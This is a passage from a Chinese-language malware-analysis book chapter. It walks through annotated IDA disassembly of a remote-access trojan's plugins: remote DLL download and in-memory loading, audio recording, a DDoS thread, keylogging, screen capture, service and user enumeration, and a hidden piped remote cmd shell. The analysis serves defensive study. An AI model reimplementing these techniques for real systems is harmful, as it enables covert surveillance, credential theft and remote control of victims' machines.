.text:00402A27  mov     dword_4098B0, eax
.text:00402A2C  test    eax, eax
.text:00402A2E  jnz     short loc_402A37    ; 修改内存加载标志
.text:00402A30  pop     esi
.text:00402A31  pop     ebp
.text:00402A32  pop     ebx
.text:00402A33  add     esp, 58h
.text:00402A36  retn
.text:00402A37  mov     g_isLoad, 1         ; 修改内存加载标志
.text:00402A45  mov     eax, [esp+64h+arg_8]
.text:00402A49  mov     ecx, dword_4098B0
.text:00402A4F  push    eax
.text:00402A50  push    ecx
.text:00402A51  call    get_proc_address
                  ; 调用函数,遍历导出表获取插件导出函数地址,模拟API:GetProcAddress功能

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-5所示,经过分析发现该病毒为了隐秘地运行插件的核心恶意代码,先从远程服务器下载插件动态库;然后动态申请内存,模拟系统PE装载流程,将恶意代码加载进内存;最后通过自己模拟的GetProcAddress函数调用动态库的导出函数,且该病毒对动态库文件格式做了加密,修改了PE文件的前2个字节,导致IDA无法解析。注意,不同的变种病毒可能会使用不同的加密方式,这里使用WinHex将前2字节修改为MZ,IDA可以正常反汇编,如图16-5所示。

图16-5 解密后的PE文件

如代码清单16-6所示,该病毒使用Windows波形音频API实现录音功能。

代码清单16-6 语音监控代码片段

DllAudio函数实现代码:
.text:10008DA0   sub     esp, 1D0h
.text:10008DA6   call    ds:waveInGetNumDevs   ; 获取音频输入设备

.text:10013B66   push    20000h                ; fdwOpen
.text:10013B6B   push    eax                   ; dwInstance
.text:10013B6C   lea     edx, [esp+24h+pwfx]
.text:10013B70   push    ecx                   ; dwCallback
.text:10013B71   push    edx                   ; pwfx
.text:10013B72   lea     eax, [esi+18h]
.text:10013B75   push    0FFFFFFFFh            ; uDeviceID
.text:10013B77   push    eax                   ; phwi
.text:10013B78   call    edi ; waveInOpen      ; 注册音频回调函数

.text:10013DFC   push    eax                   ; hwi
.text:10013DFD   call    ds:waveInStart        ; 开始录音

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-7所示,该病毒收到主控端的DDOS攻击命令,会开启一个线程循环向指定服务器发送攻击数据包。

代码清单16-7 DDOS攻击代码片段

DllDdosOpen函数实现代码:
.text:10007F5D  push    0                     ; lpThreadId
.text:10007F5F  push    0                     ; dwCreationFlags
.text:10007F61  push    0                     ; lpParameter
.text:10007F63  push    offset sendto_proc    ; lpStartAddress
.text:10007F68  push    0                     ; dwStackSize
.text:10007F6A  push    0                     ; lpThreadAttributes
.text:10007F6C  call    edi ; CreateThread    ; 创建发送DDOS攻击数据的线程

.text:10007A51  push    0FFh                  ; namelen
.text:10007A56  lea     eax, [ebp+name]
.text:10007A5C  push    eax                   ; name
.text:10007A5D  call    ds:gethostname        ; 获取攻击的服务器地址

.text:10007E49  lea     ecx, [ebp+buf]
.text:10007E4F  push    ecx                   ; buf
.text:10007E50  mov     edx, [ebp+s]
.text:10007E53  push    edx                   ; s
.text:10007E54  call    ds:sendto             ; 循环发送数据到指定攻击服务器

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-8所示,该病毒使用GetLogicalDriveStrings获取当前所有驱动器根路径的剩余空间。

代码清单16-8 查看磁盘目录代码片段

DllFile函数实现代码:
.text:10009E4F   push    eax                    ; lpBuffer
.text:10009E50   mov     [esp+790h+var_768], ecx
.text:10009E54   push    100h                   ; nBufferLength
.text:10009E59   mov     [esp+794h+Src], 67h
.text:10009E61   call    ds:GetLogicalDriveStringsA   ; 获取当前所有根驱动器路径

.text:10009EAC   lea     ecx, [esp+798h+FileSystemNameBuffer]
.text:10009EB0   push    ecx                    ; lpFileSystemNameBuffer
.text:10009EB1   push    edx                    ; lpFileSystemFlags
.text:10009EB2   push    edx                    ; lpMaximumComponentLength
.text:10009EB3   push    edx                    ; lpVolumeSerialNumber
.text:10009EB4   push    edx                    ; nVolumeNameSize
.text:10009EB5   push    edx                    ; lpVolumeNameBuffer
.text:10009EB6   push    ebp                    ; lpRootPathName
.text:10009EB7   call    ds:GetVolumeInformationA     ; 获取磁盘卷信息

.text:10009F09   lea     edx, [esp+794h+TotalNumberOfBytes]
.text:10009F0D   push    0                      ; lpTotalNumberOfFreeBytes
.text:10009F0F   lea     eax, [esp+798h+FreeBytesAvailableToCaller]
.text:10009F13   push    edx                    ; lpTotalNumberOfBytes
.text:10009F14   push    eax                    ; lpFreeBytesAvailableToCaller
.text:10009F15   push    ebp                    ; lpDirectoryName
.text:10009F16   call    ds:GetDiskFreeSpaceExA ; 获取磁盘剩余空间

.text:10009F55   push    ebp                    ; lpRootPathName
.text:10009F56   mov     [esp+ebx+798h+Src], cl
.text:10009F5D   call    ds:GetDriveTypeA       ; 获取磁盘类型

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-9所示,该病毒创建了一个线程,在线程中循环使用GetKeyState、GetAsyncKeyState API循环遍历所有键盘的虚拟键状态,如果状态为按下,就将按键信息保存到文件中。

代码清单16-9 键盘记录代码片段

DllKeybo函数实现代码:
.text:1000B1C1  xor     ebp, ebp                 ; 键盘表索引
.text:1000B1C3  push    10h                      ; nVirtKey
.text:1000B1C5  call    ebx ; GetKeyState        ; 获取键盘虚拟键Shift的状态
.text:1000B1C7  mov     esi, ss:VK_TABLE_0[ebp]  ; 循环从表中获取虚拟键
.text:1000B1CD  push    esi                      ; 参数1:vKey
.text:1000B1CE  movsx   edi, ax
.text:1000B1D1  call    ds:GetAsyncKeyState      ; 循环获取键盘虚拟键的状态
.text:1000B1D7  test    ah, 80h
.text:1000B1DA  jz      short loc_1000B24F
.text:1000B1DC  push    14h                ; 参数1:nVirtKey
.text:1000B1DE  call    ebx ; GetKeyState  ; 获取虚拟键VK_CAPITAL的状态,检查键盘大写灯
.text:1000B1E0  test    ax, ax
.text:1000B1E3  jz      short loc_1000B204
.text:1000B1E5  cmp     edi, 0FFFFFFFFh

.text:1000B204  push    14h                ; 参数1:nVirtKey
.text:1000B206  call    ebx ; GetKeyState  ; 获取虚拟键VK_CAPITAL的状态,检查键盘大写灯
.text:1000B208  test    ax, ax
.text:1000B20B  jz      short loc_1000B22B

.text:1000B292  lea     ecx, [esp+668h+keyboard_buf]
.text:1000B296  push    ecx                ; 参数1:记录键盘数据的缓冲区
.text:1000B297  call    write_keyboard_file; 保存记录的键盘按键数据到文件中

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-10所示,该病毒通过注册表路径HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command获取浏览器的路径,最后通过CreateProcessA创建浏览器进程,打开主控端传递的指定url地址。

代码清单16-10 打开网页码片段

DllOpenURLHIDE函数实现代码:
.text:10008A4D  lea     eax, [esp+1B0h+phkResult]
.text:10008A51  lea     ecx, [esp+1B0h+SubKey]
.text:10008A55  push    eax                         ; phkResult
.text:10008A56  push    20019h                      ; samDesired
.text:10008A5B  push    0                           ; ulOptions
.text:10008A5D  mov     dl, 78h
.text:10008A5F  push    ecx                         ; lpSubKey
.text:10008A60  push    80000000h                   ; hKey
.text:10008A65  mov     [esp+1C4h+SubKey], 'A'
.text:10008A6A  mov     [esp+1C4h+var_18D], 'l'
.text:10008A6F  mov     [esp+1C4h+var_18C], 'i'
.text:10008A74  mov     [esp+1C4h+var_18B], 'c'
.text:10008A79  mov     [esp+1C4h+var_18A], 'a'
.text:10008A7E  mov     [esp+1C4h+var_189], 't'
.text:10008A83  mov     [esp+1C4h+var_188], 'i'
.text:10008A88  mov     [esp+1C4h+var_186], 'n'
.text:10008A8D  mov     [esp+1C4h+var_185], 's'
.text:10008A92  mov     [esp+1C4h+var_184], '\'
.text:10008A97  mov     [esp+1C4h+var_183], 'i'
.text:10008A9C  mov     [esp+1C4h+var_182], bl
.text:10008AA0  mov     [esp+1C4h+var_181], dl
.text:10008AA4  mov     [esp+1C4h+var_17F], 'l'
.text:10008AA9  mov     [esp+1C4h+var_17D], 'r'
.text:10008AAE  mov     [esp+1C4h+var_17C], bl
.text:10008AB2  mov     [esp+1C4h+var_17B], '.'
.text:10008AB7  mov     [esp+1C4h+var_17A], bl
.text:10008ABB  mov     [esp+1C4h+var_179], dl
.text:10008ABF  mov     [esp+1C4h+var_178], bl
.text:10008AC3  mov     [esp+1C4h+var_177], '\'
.text:10008AC8  mov     [esp+1C4h+var_176], 's'
.text:10008ACD  mov     [esp+1C4h+var_175], 'h'
.text:10008AD2  mov     [esp+1C4h+var_174], bl
.text:10008AD6  mov     [esp+1C4h+var_173], 'l'
.text:10008ADB  mov     [esp+1C4h+var_172], 'l'
.text:10008AE0  mov     [esp+1C4h+var_171], '\'
.text:10008AE5  mov     [esp+1C4h+var_16E], bl
.text:10008AE9  mov     [esp+1C4h+var_16D], 'n'
.text:10008AEE  mov     [esp+1C4h+var_16C], '\'
.text:10008AF3  mov     [esp+1C4h+var_16B], 'c'
.text:10008AF8  mov     [esp+1C4h+var_167], 'a'
.text:10008AFD  mov     [esp+1C4h+var_166], 'n'
.text:10008B02  mov     [esp+1C4h+var_165], 'd'
.text:10008B07  mov     [esp+1C4h+var_164], 0
.text:10008B0C  mov     [esp+1C4h+cbData], 104h
.text:10008B14  call    ds:RegOpenKeyExA
; 打开注册表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command
.text:10008B1A  test    eax, eax
.text:10008B1C  jnz     loc_10008C2F
.text:10008B22  mov     ecx, [esp+1B0h+phkResult]
.text:10008B26  lea     edx, [esp+1B0h+cbData]
.text:10008B2A  lea     eax, [esp+1B0h+Data]
.text:10008B31  push    edx                         ; lpcbData
.text:10008B32  push    eax                         ; lpData
.text:10008B33  push    0                           ; lpSubKey
.text:10008B35  push    ecx                         ; hKey
.text:10008B36  call    ds:RegQueryValueA
; 查询注册表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command,获取浏览器路径
.text:10008B3C  mov     edx, [esp+1B0h+phkResult]
.text:10008B40  push    edx                         ; hKey
.text:10008B41  call    ds:RegCloseKey              ; 关闭注册表
.text:10008B47  lea     eax, [esp+1B0h+Data]
.text:10008B4E  push    eax                         ; lpString
.text:10008B4F  call    ds:lstrlenA                 ; 获取浏览器路径长度
.text:10008B55  test    eax, eax
.text:10008B57  jz      loc_10008C2F
.text:10008B5D  lea     ecx, [esp+1B0h+SubStr]
.text:10008B61  lea     edx, [esp+1B0h+Data]
.text:10008B68  push    ecx                         ; SubStr
.text:10008B69  push    edx                         ; Str
.text:10008B6A  mov     [esp+1B8h+SubStr], '%'
.text:10008B6F  mov     [esp+1B8h+var_1A3], '1'
.text:10008B74  mov     [esp+1B8h+var_1A2], 0
.text:10008B79  call    ds:strstr                   ; 获取浏览器路径%1的位置
.text:10008B7F  add     esp, 8
.text:10008B82  test    eax, eax
.text:10008B84  jz      loc_10008C2F
.text:10008B8A  push    esi                         ; lpString2
.text:10008B8B  push    eax                         ; lpString1
.text:10008B8C  call    ds:lstrcpyA; 将%1字符串替换为服务器传递的URL地址,当作命令行参数
.text:10008B92  mov     ecx, 10h
.text:10008B97  xor     eax, eax
.text:10008B99  lea     edi, [esp+1B0h+StartupInfo.lpReserved]
.text:10008B9D  mov     [esp+1B0h+var_1A0], 57h
.text:10008BA2  rep stosd
.text:10008BA4  mov     eax, 44h
.text:10008BA9  mov     [esp+1B0h+var_19F], 'i'
.text:10008BAE  mov     [esp+1B0h+StartupInfo.cb], eax
.text:10008BB2  mov     [esp+1B0h+var_198], al
.text:10008BB6  mov     eax, [esp+1B0h+hide]        ; 获取参数隐藏窗口标志
.text:10008BBD  mov     [esp+1B0h+var_19E], 'n'
.text:10008BC2  test    eax, eax                    ; 检查是否隐藏创建浏览器进程
.text:10008BC4  mov     [esp+1B0h+var_19D], 'S'
.text:10008BC9  mov     [esp+1B0h+var_19C], 't'
.text:10008BCE  mov     [esp+1B0h+var_19B], 'a'
.text:10008BD3  mov     [esp+1B0h+var_19A], '0'
.text:10008BD8  mov     [esp+1B0h+var_199], '\'
.text:10008BDD  mov     [esp+1B0h+var_197], bl
.text:10008BE1  mov     [esp+1B0h+var_196], 'f'
.text:10008BE6  mov     [esp+1B0h+var_195], 'a'
.text:10008BEB  mov     [esp+1B0h+var_194], 'u'
.text:10008BF0  mov     [esp+1B0h+var_193], 'l'
.text:10008BF5  mov     [esp+1B0h+var_192], 't'
.text:10008BFA  mov     [esp+1B0h+var_191], 0
.text:10008BFF  jz      short loc_10008C09
.text:10008C01  lea     eax, [esp+1B0h+var_1A0]
.text:10008C05  mov     [esp+1B0h+StartupInfo.lpDesktop], eax  ; 隐藏
.text:10008C09  lea     ecx, [esp+1B0h+ProcessInformation]
.text:10008C0D  lea     edx, [esp+1B0h+StartupInfo]
.text:10008C11  push    ecx                         ; lpProcessInformation
.text:10008C12  push    edx                         ; lpStartupInfo
.text:10008C13  push    0                           ; lpCurrentDirectory
.text:10008C15  push    0                           ; lpEnvironment
.text:10008C17  push    0                           ; dwCreationFlags
.text:10008C19  push    0                           ; bInheritHandles
.text:10008C1B  push    0                           ; lpThreadAttributes
.text:10008C1D  lea     eax, [esp+1CCh+Data]
.text:10008C24  push    0                           ; lpProcessAttributes
.text:10008C26  push    eax                         ; lpCommandLine
.text:10008C27  push    0                           ; lpApplicationName
.text:10008C29  call    ds:CreateProcessA           ; 创建浏览器进程
.text:10008C2F  pop     edi
.text:10008C30  pop     esi
.text:10008C31  xor     al, al
.text:10008C33  pop     ebx
.text:10008C34  add     esp, 1A4h
.text:10008C3A  retn

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-11所示,该病毒通过GetDesktopWindow获取桌面的HDC,再通过CreateDIBSection获取桌面的像素信息。

代码清单16-11 屏幕查看代码片段

DllScreen函数实现代码:
.text:1000D888  call    ds:GetDesktopWindow     ; 获取桌面窗口句柄
.text:1000D88E  push    eax                     ; hWnd
.text:1000D88F  mov     [esi+10Ch], eax
.text:1000D895  call    ds:GetDC                ; 获取桌面HDC
.text:1000D89B  mov     [esi+44h], eax

.text:1000D8C9  push    ebx                     ; nIndex,SM_CXSCREEN
.text:1000D8CA  mov     [esi+14h], ecx
.text:1000D8CD  mov     [esi+18h], dl
.text:1000D8D0  mov     [esi+24h], eax
.text:1000D8D3  call    edi ; GetSystemMetrics  ; 获取屏幕宽度
.text:1000D8D5  push    1                       ; nIndex,SM_CYSCREEN
.text:1000D8D7  mov     [esi+4], eax
.text:1000D8DA  call    edi ; GetSystemMetrics  ; 获取屏幕高度

.text:1000D96D  push    ebx                     ; usage
.text:1000D96E  push    eax                     ; lpbmi
.text:1000D96F  push    ecx                     ; HDC
.text:1000D970  call    edi ; CreateDIBSection  ; 获取桌面像素信息并截图

笔记--------------------------------------------start

笔记--------------------------------------------end

服务管理代码分析如代码清单16-12所示。

代码清单16-12 服务管理代码片段

DllSerMa函数实现代码:
.text:1000E7E3  push    0F003Fh                   ; dwDesiredAccess
.text:1000E7E8  push    ebp                       ; lpDatabaseName
.text:1000E7E9  push    ebp                       ; lpMachineName
.text:1000E7EA  call    ds:OpenSCManagerA         ; 打开服务管理器
.text:1000E7F0  mov     edi, ds:LocalAlloc
.text:1000E7F6  mov     esi, eax
.text:1000E7F8  push    10000h                    ; uBytes
.text:1000E7FD  push    40h                       ; uFlags
.text:1000E7FF  mov     [esp+338h+var_30C], esi
.text:1000E803  call    edi ; LocalAlloc          ; 申请内存
.text:1000E805  mov     ebx, eax
.text:1000E807  lea     eax, [esp+330h+ResumeHandle]
.text:1000E80B  lea     ecx, [esp+330h+ServicesReturned]
.text:1000E80F  push    eax                       ; lpResumeHandle
.text:1000E810  lea     edx, [esp+334h+pcbBytesNeeded]
.text:1000E814  push    ecx                       ; lpServicesReturned
.text:1000E815  push    edx                       ; pcbBytesNeeded
.text:1000E816  push    10000h                    ; cbBufSize
.text:1000E81B  push    ebx                       ; lpServices
.text:1000E81C  push    3                         ; dwServiceState
.text:1000E81E  push    30h                       ; dwServiceType
.text:1000E820  push    esi                       ; hSCManager
.text:1000E821  call    ds:EnumServicesStatusA    ; 遍历所有服务
.text:1000E827  push    104h                      ; uBytes
.text:1000E82C  push    40h                       ; uFlags
.text:1000E82E  call    edi                       ; LocalAlloc
.text:1000E830  mov     edi, eax
.text:1000E832  mov     [esp+330h+uBytes], 1
.text:1000E83A  mov     [esp+330h+hMem], edi
.text:1000E83E  mov     [esp+330h+var_318], ebp
.text:1000E842  mov     byte ptr [edi], 6Fh
.text:1000E845  mov     eax, [esp+330h+ServicesReturned]
.text:1000E849  cmp     eax, ebp
.text:1000E84B  jbe     loc_1000EB2C
.text:1000E851  mov     ebp, ds:lstrlenA
.text:1000E857  mov     eax, [ebx]                ; 循环开始
.text:1000E859  push    0F01FFh                   ; dwDesiredAccess
.text:1000E85E  push    eax                       ; lpServiceName
.text:1000E85F  push    esi                       ; hSCManager
.text:1000E860  mov     [esp+33Ch+var_308], 0
.text:1000E868  call    ds:OpenServiceA           ; 打开服务
.text:1000E86E  mov     edi, eax
.text:1000E870  test    edi, edi
.text:1000E872  jz      loc_1000EB0E
.text:1000E878  push    1000h                     ; uBytes
.text:1000E87D  push    40h                       ; uFlags
.text:1000E87F  call    ds:LocalAlloc
.text:1000E885  lea     ecx, [esp+330h+var_308]
.text:1000E889  mov     esi, eax
.text:1000E88B  push    ecx                       ; pcbBytesNeeded
.text:1000E88C  push    1000h                     ; cbBufSize
.text:1000E891  push    esi                       ; lpServiceConfig
.text:1000E892  push    edi                       ; hService
.text:1000E893  call    ds:QueryServiceConfigA    ; 查询服务设置
.text:1000E899  mov     eax, [ebx+0Ch]            ; ServiceStatus.dwCurrentState,用于获取服务的当前状态
.text:1000E89C  mov     ecx, 40h
.text:1000E8A1  cmp     eax, 1
.text:1000E8A4  jz      short loc_1000E8C0        ; 检查服务器是否启动状态
.text:1000E8A6  xor     eax, eax
.text:1000E8A8  lea     edi, [esp+330h+String1]
.text:1000E8AF  lea     edx, [esp+330h+String1]
.text:1000E8B6  push    offset asc_10088D50       ; "启动"
.text:1000E8BB  rep stosd
.text:1000E8BD  push    edx
.text:1000E8BE  jmp     short loc_1000E8D8        ; 拼接字符串“启动”或者“停止”
.text:1000E8C0  xor     eax, eax
.text:1000E8C2  lea     edi, [esp+330h+String1]
.text:1000E8C9  rep stosd
.text:1000E8CB  lea     eax, [esp+330h+String1]
.text:1000E8D2  push    offset asc_10088D48       ; lpString2
.text:1000E8D7  push    eax                       ; lpString1
.text:1000E8D8  call    ds:lstrcatA               ; 拼接字符串“启动”或者“停止”
.text:1000E8DE  cmp     dword ptr [esi+4], 2
.text:1000E8E2  jnz     short loc_1000E901        ; dwStartType==2, 检查获取服务启
                                                  ; 动类型是否自动
.text:1000E8E4  mov     ecx, 40h
.text:1000E8E9  xor     eax, eax
.text:1000E8EB  lea     edi, [esp+330h+var_300]
.text:1000E8EF  push    offset asc_10088D40       ; lpString2
.text:1000E8F4  rep stosd
.text:1000E8F6  lea     ecx, [esp+334h+var_300]
.text:1000E8FA  push    ecx                       ; lpString1
.text:1000E8FB  call    ds:lstrcatA               ; 拼接字符串"自动"
.text:1000E901  cmp     dword ptr [esi+4], 3
.text:1000E905  jnz     short loc_1000E924        ;dwStartType==3, 检查获取服务启
                                                  ;动类型是否为手动
.text:1000E907  mov     ecx, 40h
.text:1000E90C  xor     eax, eax
.text:1000E90E  lea     edi, [esp+330h+var_300]
.text:1000E912  lea     edx, [esp+330h+var_300]
.text:1000E916  push    offset asc_10088D38       ; lpString2
.text:1000E91B  push    edx                       ; lpString1
.text:1000E91C  rep stosd
.text:1000E91E  call    ds:lstrcatA               ; 拼接字符串"手动"
.text:1000E924  cmp     dword ptr [esi+4], 4      ;dwStartType==4, 检查获取服务启
                                                  ; 动类型是否为禁用
.text:1000E928  jnz     short loc_1000E947
.text:1000E92A  mov     ecx, 40h
.text:1000E92F  xor     eax, eax
.text:1000E931  lea     edi, [esp+330h+var_300]
.text:1000E935  push    offset asc_10088D30       ; lpString2
.text:1000E93A  rep stosd
.text:1000E93C  lea     eax, [esp+334h+var_300]
.text:1000E940  push    eax                       ; lpString1
.text:1000E941  call    ds:lstrcatA               ; 拼接字符串"禁用"
.text:1000E947

.text:1000EB20  jb      loc_1000E857              ; 循环结束
.text:1000EB26  mov     edi, [esp+330h+hMem]
.text:1000EB2A  xor     ebp, ebp
.text:1000EB2C  push    esi                       ; hSCObject
.text:1000EB2D  call    ds:CloseServiceHandle     ; 关闭服务管理器

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-13所示,该病毒通过NetUserEnum遍历所有系统用户信息。服务器管理代码分析如代码清单16-13所示。

代码清单16-13 服务器管理代码片段

DllSerSt函数实现代码:
.text:100129B8  lea     eax, [esp+24h+resume_handle]; 循环开始
.text:100129BC  lea     ecx, [esp+24h+totalentries]
.text:100129C0  push    eax                         ; resume_handle
.text:100129C1  lea     edx, [esp+28h+entriesread]
.text:100129C5  push    ecx                         ; totalentries
.text:100129C6  push    edx                         ; entriesread
.text:100129C7  lea     eax, [esp+30h+bufptr]
.text:100129CB  push    0FFFFFFFFh                  ; prefmaxlen
.text:100129CD  push    eax                         ; bufptr
.text:100129CE  push    2                           ; filter
.text:100129D0  push    ebx                         ; level
.text:100129D1  push    ebx                         ; servername
.text:100129D2  call    NetUserEnum                 ; 遍历所有系统用户信息
.text:100129D7  cmp     eax, ebx
.text:100129D9  mov     [esp+24h+NET_API_STATUS], eax
.text:100129DD  jz      short loc_100129E6
.text:100129DF  cmp     eax, 234                    ; ERROR_MORE_DATA
.text:100129E4  jnz     short loc_10012A29          ; 检查

.text:10012A06  push    50h                         ; MaxCount
.text:10012A08  push    ecx                         ; Source
.text:10012A09  push    eax                         ; Dest
.text:10012A0A  inc     ebp
.text:10012A0B  add     esi, 32h
.text:10012A0E  call    ds:wcstombs                 ; 宽字符字符串转换为多字节字符串

.text:10012A41  cmp     eax, 234                    ; ERROR_MORE_DATA
.text:10012A46  jz      loc_100129B8                ; 循环开始
.text:10012A4C  cmp     edi, ebx                    ; 循环结束
.text:10012A4E  jz      short loc_10012A56
.text:10012A50  push    edi                         ; Buffer
.text:10012A51  call    NetApiBufferFree            ; 释放缓冲区

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-14所示,该病毒通过使用管道通信实现远程CMD并且隐藏cmd.exe进程的窗口。

代码清单16-14 远程CMD命令代码片段

DllShell函数实现代码:
.text:10010CFD  lea     ecx, [esp+188h+att]
.text:10010D01  lea     ebx, [ebp+120h]
.text:10010D07  push    edx                      ; nSize
.text:10010D08  lea     edi, [ebp+114h]
.text:10010D0E  lea     esi, [ebp+11Ch]
.text:10010D14  push    ecx                      ; lpPipeAttributes
.text:10010D15  push    ebx                      ; hWritePipe
.text:10010D16  push    edi                      ; hReadPipe
.text:10010D49  call    ds:CreatePipe            ; 创建标准输出管道

.text:10010D74  lea     edx, [esp+188h+att]
.text:10010D78  push    0                        ; nSize
.text:10010D7A  lea     edi, [ebp+118h]
.text:10010D80  push    edx                      ; lpPipeAttributes
.text:10010D81  push    edi                      ; hWritePipe
.text:10010D82  push    esi                      ; hReadPipe
.text:10010D83  call    ds:CreatePipe            ; 创建标准输入管道

.text:10010DDA  mov     [esp+188h+StartupInfo.hStdError], eax
.text:10010DDE  mov     [esp+188h+StartupInfo.hStdOutput], eax ; 设置标准输出管道
.text:10010DE2  lea     eax, [esp+188h+Buffer]
.text:10010DE6  push    104h                     ; uSize
.text:10010DEB  push    eax                      ; lpBuffer
.text:10010DEC  mov     [esp+190h+StartupInfo.cb], 44h
.text:10010DF4  mov     [esp+190h+StartupInfo.wShowWindow], 0; SW_HIDE,隐藏CMD窗口
.text:10010DFB  mov     [esp+190h+StartupInfo.dwFlags], 101h
.text:10010E03  mov     [esp+190h+StartupInfo.hStdInput], edx  ; 设置标准输入管道
.text:10010E07  call    ds:GetSystemDirectoryA   ; 获取系统目录
.text:10010E0D  mov     edi, offset aCmdExe      ; 拼接CMD的路径:"\\cmd.exe"

.text:10010E40  lea     ecx, [esp+18Ch+StartupInfo]
.text:10010E44  lea     edx, [esp+18Ch+Buffer]
.text:10010E48  push    ecx                      ; lpStartupInfo
.text:10010E49  push    0                        ; lpCurrentDirectory
.text:10010E4B  push    0                        ; lpEnvironment
.text:10010E4D  push    20h                      ; dwCreationFlags
.text:10010E4F  push    1                        ; bInheritHandles
.text:10010E51  push    0                        ; lpThreadAttributes
.text:10010E53  push    0                        ; lpProcessAttributes
.text:10010E55  push    0                        ; lpCommandLine
.text:10010E57  push    edx                      ; lpApplicationName
.text:10010E58  call    ds:CreateProcessA        ; 创建cmd.exe进程

.text:1001109A  mov     eax, [esp+418h+BytesRead]; 循环开始
.text:1001109E  test    eax, eax
.text:100110A0  jbe     short loc_1001106F
.text:100110A2  mov     ecx, 100h
.text:100110A7  xor     eax, eax
.text:100110A9  lea     edi, [esp+418h+Buffer]
.text:100110AD  rep stosd
.text:100110AF  mov     ecx, [esp+418h+TotalBytesAvail]
.text:100110B3  push    ecx                      ; uBytes
.text:100110B4  push    40h                      ; uFlags
.text:100110B6  call    ds:LocalAlloc            ; 申请空间
.text:100110BC  mov     ecx, [ebx+114h]
.text:100110C2  mov     esi, eax
.text:100110C4  mov     eax, [esp+418h+TotalBytesAvail]
.text:100110C8  lea     edx, [esp+418h+BytesRead]
.text:100110CC  push    0                        ; lpOverlapped
.text:100110CE  push    edx                      ; lpNumberOfBytesRead
.text:100110CF  push    eax                      ; nNumberOfBytesToRead
.text:100110D0  push    esi                      ; lpBuffer
.text:100110D1  push    ecx                      ; hFile
.text:100110D2  call    ds:ReadFile              ; 读取管道数据,获取CMD命令执行结果
.text:100110D8  mov     ecx, ebx
.text:100110DA  mov     edx, [esp+418h+BytesRead]
.text:100110DE  push    edx                      ; Size
.text:100110DF  push    esi                      ; Src
.text:100110E0  call    send_data                ; 发送数据
.text:100110E5  push    esi                      ; hMem
.text:100110E6  call    ds:LocalFree             ; 释放空间
.text:100110EC  lea     eax, [esp+418h+TotalBytesAvail]
.text:100110F0  push    0                        ; lpBytesLeftThisMessage
.text:100110F2  lea     ecx, [esp+41Ch+BytesRead]
.text:100110F6  push    eax                      ; lpTotalBytesAvail
.text:100110F7  mov     eax, [ebx+114h]
.text:100110FD  push    ecx                      ; lpBytesRead
.text:100110FE  lea     edx, [esp+424h+Buffer]
.text:10011102  push    400h                     ; nBufferSize
.text:10011107  push    edx                      ; lpBuffer
.text:10011108  push    eax                      ; hNamedPipe
.text:10011109  call    ebp ; PeekNamedPipe      ; 检测管道数据
.text:1001110B  test    eax, eax
.text:1001110D  jnz     short loc_1001109A       ; 跳转到循环开始
.text:1001110F  jmp     loc_1001106F             ; 循环结束

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-15所示,该病毒通过进程快照检测是否存在一个指定的进程。

代码清单16-15 检查进程代码片段

DllSortProcessl函数实现代码:
.text:10008C40  sub     esp, 128h
.text:10008C46  push    ebx
.text:10008C47  push    ebp
.text:10008C48  push    esi                      ; unsigned __int8 *
.text:10008C49  push    edi
.text:10008C4A  push    0                        ; th32ProcessID
.text:10008C4C  push    2                        ; dwFlags
.text:10008C4E  call    CreateToolhelp32Snapshot ; 创建进程快照

.text:10008CA7  pop     edi
.text:10008CA8  pop     esi
.text:10008CA9  pop     ebp
.text:10008CAA  mov     eax, 1                   ; 设置返回值为TRUE
.text:10008CAF  pop     ebx
.text:10008CB0  add     esp, 128h
.text:10008CB6  retn

.text:10008CD2  lea     eax, [esp+138h+pe.szExeFile]  ; 循环开始
.text:10008CD6  push    eax                      ; unsigned __int8 *
.text:10008CD7  call    edi                      ; mbslwr进程名称转换小写
.text:10008CD9  push    esi                      ; unsigned __int8 *
.text:10008CDA  call    edi                      ; mbslwr目标进程名称转换小写
.text:10008CDC  lea     ecx, [esp+140h+pe.szExeFile]
.text:10008CE0  push    esi                      ; SubStr
.text:10008CE1  push    ecx                      ; Str
.text:10008CE2  call    ebx                      ; strstr检查目标进程名称是否存在
.text:10008CE4  add     esp, 10h
.text:10008CE7  test    eax, eax
.text:10008CE9  jnz     short loc_10008CA7       ; 检查是否为目标进程
.text:10008CEB  lea     edx, [esp+138h+pe]
.text:10008CEF  push    edx                      ; lppe
.text:10008CF0  push    ebp                      ; hSnapshot
.text:10008CF1  call    Process32Next            ; 遍历下一个进程
.text:10008CF6  test    eax, eax
.text:10008CF8  jnz     short loc_10008CD2       ; 循环开始
.text:10008CFA  push    ebp                      ; 循环结束
.text:10008CFB  call    ds:CloseHandle           ; 关闭快照
.text:10008D01  pop     edi
.text:10008D02  pop     esi
.text:10008D03  pop     ebp
.text:10008D04  xor     eax, eax                 ; 设置返回值为FALSE
.text:10008D06  pop     ebx
.text:10008D07  add     esp, 128h
.text:10008D0D  retn

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-16所示,该病毒通过EnumWindows遍历所有窗口,检查指定的窗口是否存在。

代码清单16-16 检查窗口代码片段

DllSortWindow函数实现代码:
.text:100097A0  push    esi
.text:100097A1  push    edi
.text:100097A2  mov     edi, [esp+8+arg_1C]
.text:100097A6  or      ecx, 0FFFFFFFFh
.text:100097A9  xor     eax, eax
.text:100097AB  push    0                   ; lParam
.text:100097AD  repne   scasb               ; 复制参数,窗口名称
.text:100097AF  not     ecx
.text:100097B1  sub     edi, ecx
.text:100097B3  push    offset EnumFunc     ; lpEnumFunc,窗口回调函数
.text:100097B8  mov     eax, ecx
.text:100097BA  mov     esi, edi
.text:100097BC  mov     edi, offset g_wnd_name
.text:100097C1  shr     ecx, 2
.text:100097C4  rep     movsd
.text:100097C6  mov     ecx, eax
.text:100097C8  and     ecx, 3
.text:100097CB  rep     movsb               ; 复制主控端传递的窗口名称到g_wnd_name
.text:100097CD  call    ds:EnumWindows      ; 遍历窗口
.text:100097D3  mov     ecx, g_wnd_flag
